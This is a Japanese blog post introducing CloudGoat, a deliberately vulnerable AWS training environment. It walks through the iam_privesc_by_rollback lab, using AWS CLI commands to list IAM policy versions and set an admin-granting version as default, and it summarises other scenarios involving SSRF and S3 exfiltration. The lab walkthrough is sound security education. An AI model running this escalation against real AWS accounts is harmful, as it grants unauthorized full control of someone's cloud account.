ゆるふわIAM userのadmin権限を奪ってみた(AWSセキュリティ学習環境構築ツールCloudGoatのご紹介)

AWSを愛する皆さま、こんにちは。
羊肉串に用いられる孜然(クミン)が大好きなコンサルティング部の西野(@xiye_gen)です。

セキュリティに漠然とした興味があるものの何から手を付けて良いのかわからなかった私にとって渡りに船なツールがございましたので、本日はその紹介をいたします。

目次

CloudGoatとは

概要

https://github.com/RhinoSecurityLabs/cloudgoat

CloudGoatはRhino Security Labs社が開発したセキュリティ学習用のAWS環境構築ツールです。
本ツールで構築される環境とあらかじめ用意されたCTF(Capture The Flag)形式のシナリオによりAWSセキュリティに関するスキルを身につけることができます。

各シナリオにおいて本ツールの利用者は「攻撃者」の立場となり、対象のAWSアカウントやシステムを調査・攻撃(admin権限の奪取など)をしていきます。

シナリオ紹介

2020/1/9時点で6つのシナリオが存在します。
シナリオはRhino Security Labs社とCloudGoatのコミュニティにより作成・メンテナンスされているようです。

シナリオ名 規模 難易度 概要
iam_privesc_by_rollback Small Easy Starting with a highly-limited IAM user, the attacker is able to review previous IAM policy versions and restore one which allows full admin privileges, resulting in a privilege escalation exploit.
cloud_breach_s3 Small Moderate Starting as an anonymous outsider with no access or privileges, exploit a misconfigured reverse-proxy server to query the EC2 metadata service and acquire instance profile keys. Then, use those keys to discover, access, and exfiltrate sensitive data from an S3 bucket.
iam_privesc_by_attachment Medium Moderate Starting with a very limited set of permissions, the attacker is able to leverage the instance-profile-attachment permissions to create a new EC2 instance with significantly greater privileges than their own. With access to this new EC2 instance, the attacker gains full administrative powers within the target account and is able to accomplish the scenario's goal - deleting the cg-super-critical-security-server and paving the way for further nefarious actions.
ec2_ssrf Medium Moderate Starting as the IAM user Solus, the attacker discovers they have ReadOnly permissions to a Lambda function, where hardcoded secrets lead them to an EC2 instance running a web application that is vulnerable to server-side request forgery (SSRF). After exploiting the vulnerable app and acquiring keys from the EC2 metadata service, the attacker gains access to a private S3 bucket with a set of keys that allow them to invoke the Lambda function and complete the scenario.
rce_web_app Medium Hard Starting as the IAM user Lara, the attacker explores a Load Balancer and S3 bucket for clues to vulnerabilities, leading to an RCE exploit on a vulnerable web app which exposes confidential files and culminates in access to the scenario’s goal: a highly-secured RDS database instance. Alternatively, the attacker may start as the IAM user McDuck and enumerate S3 buckets, eventually leading to SSH keys which grant direct access to the EC2 server and the database beyond.
codebuild_secrets Large Hard Starting as the IAM user Solo, the attacker first enumerates and explores CodeBuild projects, finding unsecured IAM keys for the IAM user Calrissian therein. Then operating as Calrissian, the attacker discovers an RDS database. Unable to access the database's contents directly, the attacker can make clever use of the RDS snapshot functionality to acquire the scenario's goal: a pair of secret strings. Alternatively, the attacker may explore SSM parameters and find SSH keys to an EC2 instance. Using the metadata service, the attacker can acquire the EC2 instance-profile's keys and push deeper into the target environment, eventually gaining access to the original database and the scenario goal inside (a pair of secret strings) by a more circuitous route.

各シナリオの詳細についてはScenarios AvailableのVisit Scenario Pageから確認できます。

※注意

CloudGoatはセキュリティ上問題のあるリソースを実行対象のAWSアカウントに作成します。 したがって、重要なAWSアカウント上では決して実行しないでください。 また、一部のシナリオではFree-Tierをこえるリソースが作成されます。利用後は必ず不要なリソースを削除するようにしてください。(手順は後述)

前提条件

CloudGoatを使用するためには下記の環境が必要です。
公式サイト等を参照しインストールしてください。

  • Linux or MacOS. Windows is not officially supported.
    • Argument tab-completion requires bash 4.2+ (Linux, or OSX with some difficulty).
  • Python3.6+ is required.
  • Terraform 0.12 installed and in your $PATH.
  • The AWS CLI installed and in your $PATH, and an AWS account with sufficient privileges to create and destroy resources.

初期設定

Quick Startを参照しつつ初期設定を実施していきます。

IAM user作成

CloudGoatからAWSリソースを作成するためのIAM userを作成します。

今回はcloudgoatという名称のIAM userを作成し、AdministratorAccess(AWS管理ポリシー)権限を付与します。

名前付きプロファイルの作成

CloudGoat用にAWS CLIの名前付きプロファイルを設定します。

$ aws configure --profile cloudgoat
AWS Access Key ID [None]: <Your Access Key ID>
AWS Secret Access Key [None]: <Your Secret Access Key ID>
Default region name [None]:
Default output format [None]:


CloudGoatインストール

GitHubからCloudGoatのレポジトリをcloneします。
※git cloneに失敗した場合は後述の「git clone時にエラーが生じた場合」をご参照ください。

$ git clone git@github.com:RhinoSecurityLabs/cloudgoat.git ./CloudGoat
Cloning into './CloudGoat'...
remote: Enumerating objects: 1971, done.
remote: Total 1971 (delta 0), reused 0 (delta 0), pack-reused 1971
Receiving objects: 100% (1971/1971), 8.25 MiB | 1.62 MiB/s, done.
Resolving deltas: 100% (627/627), done.


Pythonの必要パッケージをpip3でインストールします。

$ pip3 install -r ./core/python/requirements.txt
Collecting argcomplete==1.10.0 (from -r ./core/python/requirements.txt (line 5))
  Downloading https://files.pythonhosted.org/packages/4d/82/f44c9661e479207348a979b1f6f063625d11dc4ca6256af053719bbb0124/argcomplete-1.10.0-py2.py3-none-any.whl
Collecting PyYAML==5.1.1 (from -r ./core/python/requirements.txt (line 6))
  Downloading https://files.pythonhosted.org/packages/a3/65/837fefac7475963d1eccf4aa684c23b95aa6c1d033a2c5965ccb11e22623/PyYAML-5.1.1.tar.gz (274kB)
    100% |████████████████████████████████| 276kB 9.1MB/s
Installing collected packages: argcomplete, PyYAML
  Found existing installation: PyYAML 5.1.2
    Uninstalling PyYAML-5.1.2:
      Successfully uninstalled PyYAML-5.1.2
  Running setup.py install for PyYAML ... done
Successfully installed PyYAML-5.1.1 argcomplete-1.10.0


cloudgoat.pyに実行権限を付与します。

$ chmod u+x cloudgoat.py


cloudgoat.pyを実行し、profileを設定します。

$ ./cloudgoat.py config profile
No configuration file was found at /Users/nishino.wataru/CloudGoat/config.yml
Would you like to create this file with a default profile name now? [y/n]: y ★yと入力
Enter the name of your default AWS profile: cloudgoat ★先に設定したAWS CLIのプロファイルと同じものを入力
A default profile name of "cloudgoat" has been saved.


cloudgoat.pyを実行し、IPアドレスのホワイトリストを設定します。

$ ./cloudgoat.py config whitelist --auto
No whitelist.txt file was found at /Users/nishino.wataru/CloudGoat/whitelist.txt
CloudGoat can automatically make a network request, using curl, to ifconfig.co to find your IP address, and then create the whitelist file with the result.
Would you like to continue? [y/n]: y ★yと入力

whitelist.txt created with IP address XXX.XXX.XXX.XXX/32

これでCloudGoatの初期設定が完了しました。

git clone時にエラーが生じた場合

git clone時に下記のエラーが生じる場合があります。

$ git clone git@github.com:RhinoSecurityLabs/cloudgoat.git ./CloudGoat
Cloning into './CloudGoat'...
The authenticity of host 'github.com (13.114.40.48)' can't be established.
RSA key fingerprint is SHA256:nThbg6kXUpJWGl7E1IGOCspRomTxdCARLviKw6E5SY8.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'github.com,13.114.40.48' (RSA) to the list of known hosts.
git@github.com: Permission denied (publickey).
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.

GitHub側にSSHキーが登録されていないことが原因です。
下記の手順を参考にSSHキーの登録を済ませた後、再度git cloneを実行してください。

GitHub アカウントへの新しい SSH キーの追加

シナリオ iam_privesc_by_rollbackをやってみた

シナリオの中からひとつを試してみました。

シナリオのREADME.mdを読みシナリオの概要をつかむ

https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/iam_privesc_by_rollback/README.md

READMD.mdにはシナリオの概要(開始時点で作成されるリソースやゴールなど)が記されています。

本シナリオはおおまかに下記の流れで進みます。

  1. IAM user Raynorには最小限の権限が設定されており、一見無害なように見える。
  2. 攻撃者はRaynorの権限を分析し、SetDefaultPolicyVersion権限(ポリシーのデフォルトバージョンを変更できる)を持っていることに気づく。
  3. 攻撃者が古いバージョンのポリシーを全て調べたところ、その内ひとつのポリシーにadmin権限が与えられていることに気づく。
  4. 攻撃者は当該ポリシーをデフォルトポリシーとして設定しadmin権限を手にする。
  5. 攻撃内容を隠ぺいするため、攻撃者はデフォルトポリシーの設定を元に戻す。

さっそく進めていきましょう。

シナリオ環境の作成

下記のコマンドを実行し環境を作成します。
TerraformがAWSアカウント内にシナリオ用のリソースを作成してくれます。

$ ./cloudgoat.py create iam_privesc_by_rollback


環境の作成が終わると下記のstart.txtが作成されます。

[cloudgoat] Output file written to:

    /Users/nishino.wataru/CloudGoat/iam_privesc_by_rollback_cgidekx54arcv2/start.txt


中を見てみましょう。

$ cat /Users/nishino.wataru/CloudGoat/iam_privesc_by_rollback_cgidekx54arcv2/start.txt
cloudgoat_output_aws_account_id = XXXXXXXXXXXX
cloudgoat_output_raynor_access_key_id = AKIXXXXXXXXXXXXXXXX
cloudgoat_output_raynor_secret_key = 22LPtXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX


RaynorというIAM userが作成され、アクセスキーが用意されます。AWS CLIの名前付きprofileに設定しておきます。

$ aws configure --profile raynor
AWS Access Key ID [None]: AKIXXXXXXXXXXXXXXXX
AWS Secret Access Key [None]: 22LPtXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Default region name [None]:
Default output format [None]: 

これで準備は整いました。

ここからはAWS CLI Command Referenceを参照しつつつIAM user Raynorについて調査していきます。

以下にはシナリオのネタバレを含みます。ご自身で試してみたい方はこの先を読まないようご注意ください。

Raynorにアタッチされているポリシーを確認してみる

コマンドは$ aws iam list-attached-user-policiesです。

$ aws iam list-attached-user-policies --user-name raynor --profile raynor
{
    "AttachedPolicies": [
        {
            "PolicyName": "cg-raynor-policy",
            "PolicyArn": "arn:aws:iam::XXXXXXXXXXXX:policy/cg-raynor-policy"
        }
    ]
}

Raynorにはcg-raynor-policyというポリシーがアタッチされているようです。

cg-raynor-policyのバージョン情報を確認してみる

当該ポリシーのバージョン情報を確認してみます。
コマンドは$ aws iam list-policy-versionsです。

$ aws iam list-policy-versions --policy-arn arn:aws:iam::XXXXXXXXXXXX:policy/cg-raynor-policy --profile raynor
{
    "Versions": [
        {
            "VersionId": "v5",
            "IsDefaultVersion": false,
            "CreateDate": "2020-01-07T01:34:04Z"
        },
        {
            "VersionId": "v4",
            "IsDefaultVersion": false,
            "CreateDate": "2020-01-07T01:34:04Z"
        },
        {
            "VersionId": "v3",
            "IsDefaultVersion": false,
            "CreateDate": "2020-01-07T01:34:04Z"
        },
        {
            "VersionId": "v2",
            "IsDefaultVersion": false,
            "CreateDate": "2020-01-07T01:34:04Z"
        },
        {
            "VersionId": "v1",
            "IsDefaultVersion": true,
            "CreateDate": "2020-01-07T01:34:01Z"
        }
    ]
}

計5つのバージョン(v1-v5)が存在し、そのうちv1がデフォルトバージョンとして設定されていることがわかります。

ポリシーの中身を見てみる

それぞれのバージョンについてポリシーの中身を見ていきましょう。
コマンドは$ aws iam get-policy-versionです。

cg-raynor-policy v1

$ aws iam get-policy-version --policy-arn arn:aws:iam::XXXXXXXXXXXX:policy/cg-raynor-policy --version-id v1 --profile raynor
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "IAMPrivilegeEscalationByRollback",
                    "Action": [
                        "iam:Get*",
                        "iam:List*",
                        "iam:SetDefaultPolicyVersion"
                    ],
                    "Effect": "Allow",
                    "Resource": "*"
                }
            ]
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2020-01-07T01:34:01Z"
    }
}

こちらが現在のバージョンです。

cg-raynor-policy v2

$ aws iam get-policy-version --policy-arn arn:aws:iam::XXXXXXXXXXXX:policy/cg-raynor-policy --version-id v2 --profile raynor
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": {
                "Effect": "Allow",
                "Action": "iam:Get*",
                "Resource": "*",
                "Condition": {
                    "DateGreaterThan": {
                        "aws:CurrentTime": "2017-07-01T00:00:00Z"
                    },
                    "DateLessThan": {
                        "aws:CurrentTime": "2017-12-31T23:59:59Z"
                    }
                }
            }
        },
        "VersionId": "v2",
        "IsDefaultVersion": false,
        "CreateDate": "2020-01-07T01:34:04Z"
    }
}

cg-raynor-policy v3

$ aws iam get-policy-version --policy-arn arn:aws:iam::XXXXXXXXXXXX:policy/cg-raynor-policy --version-id v3 --profile raynor
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": {
                "Effect": "Deny",
                "Action": "*",
                "Resource": "*",
                "Condition": {
                    "NotIpAddress": {
                        "aws:SourceIp": [
                            "192.0.2.0/24",
                            "203.0.113.0/24"
                        ]
                    }
                }
            }
        },
        "VersionId": "v3",
        "IsDefaultVersion": false,
        "CreateDate": "2020-01-07T01:34:04Z"
    }
}

cg-raynor-policy v4

$ aws iam get-policy-version --policy-arn arn:aws:iam::XXXXXXXXXXXX:policy/cg-raynor-policy --version-id v4 --profile raynor
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Action": "*",
                    "Effect": "Allow",
                    "Resource": "*"
                }
            ]
        },
        "VersionId": "v4",
        "IsDefaultVersion": false,
        "CreateDate": "2020-01-07T01:34:04Z"
    }
}

cg-raynor-policy v5

$ aws iam get-policy-version --policy-arn arn:aws:iam::XXXXXXXXXXXX:policy/cg-raynor-policy --version-id v5 --profile raynor
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": {
                "Effect": "Allow",
                "Action": [
                    "s3:ListBucket",
                    "s3:GetObject",
                    "s3:ListAllMyBuckets"
                ],
                "Resource": "*"
            }
        },
        "VersionId": "v5",
        "IsDefaultVersion": false,
        "CreateDate": "2020-01-07T01:34:04Z"
    }
}

以上の結果から、admin権限を有するv4を使用すれば良いことがわかります。

ポリシーのデフォルトバージョンを変更する

コマンドは$ aws iam set-default-policy-versionです。

$ aws iam set-default-policy-version --policy-arn arn:aws:iam::XXXXXXXXXXXX:policy/cg-raynor-policy --version-id v4 --profile raynor

設定後の内容を$ aws iam list-policy-versionsで確認してみます。

$ aws iam list-policy-versions --policy-arn arn:aws:iam::XXXXXXXXXXXX:policy/cg-raynor-policy --profile raynor
{
    "Versions": [
        {
            "VersionId": "v5",
            "IsDefaultVersion": false,
            "CreateDate": "2020-01-07T01:34:04Z"
        },
        {
            "VersionId": "v4",
            "IsDefaultVersion": true,
            "CreateDate": "2020-01-07T01:34:04Z"
        },
        {
            "VersionId": "v3",
            "IsDefaultVersion": false,
            "CreateDate": "2020-01-07T01:34:04Z"
        },
        {
            "VersionId": "v2",
            "IsDefaultVersion": false,
            "CreateDate": "2020-01-07T01:34:04Z"
        },
        {
            "VersionId": "v1",
            "IsDefaultVersion": false,
            "CreateDate": "2020-01-07T01:34:01Z"
        }
    ]
}

これでadmin権限を奪取することができました。

環境の削除

下記のコマンドによりシナリオによって作成されたリソースを全て削除できます。

./cloudgoat.py destroy iam_privesc_by_rollback

終わりに

いままではセキュリティに関する一般原則を聞いてもいまいちピンと来なかったのですが、CloudGoatによる攻撃者のロールプレイによってその重要性を実感できました。
私と同じような感覚を持っている方がいらっしゃいましたら、いずれかひとつのシナリオだけでもやってみることをおすすめいたします。

このブログがほんの少しでも世界を良くできれば嬉しいです。
コンサルティング部の西野(@xiye_gen)がお送りしました。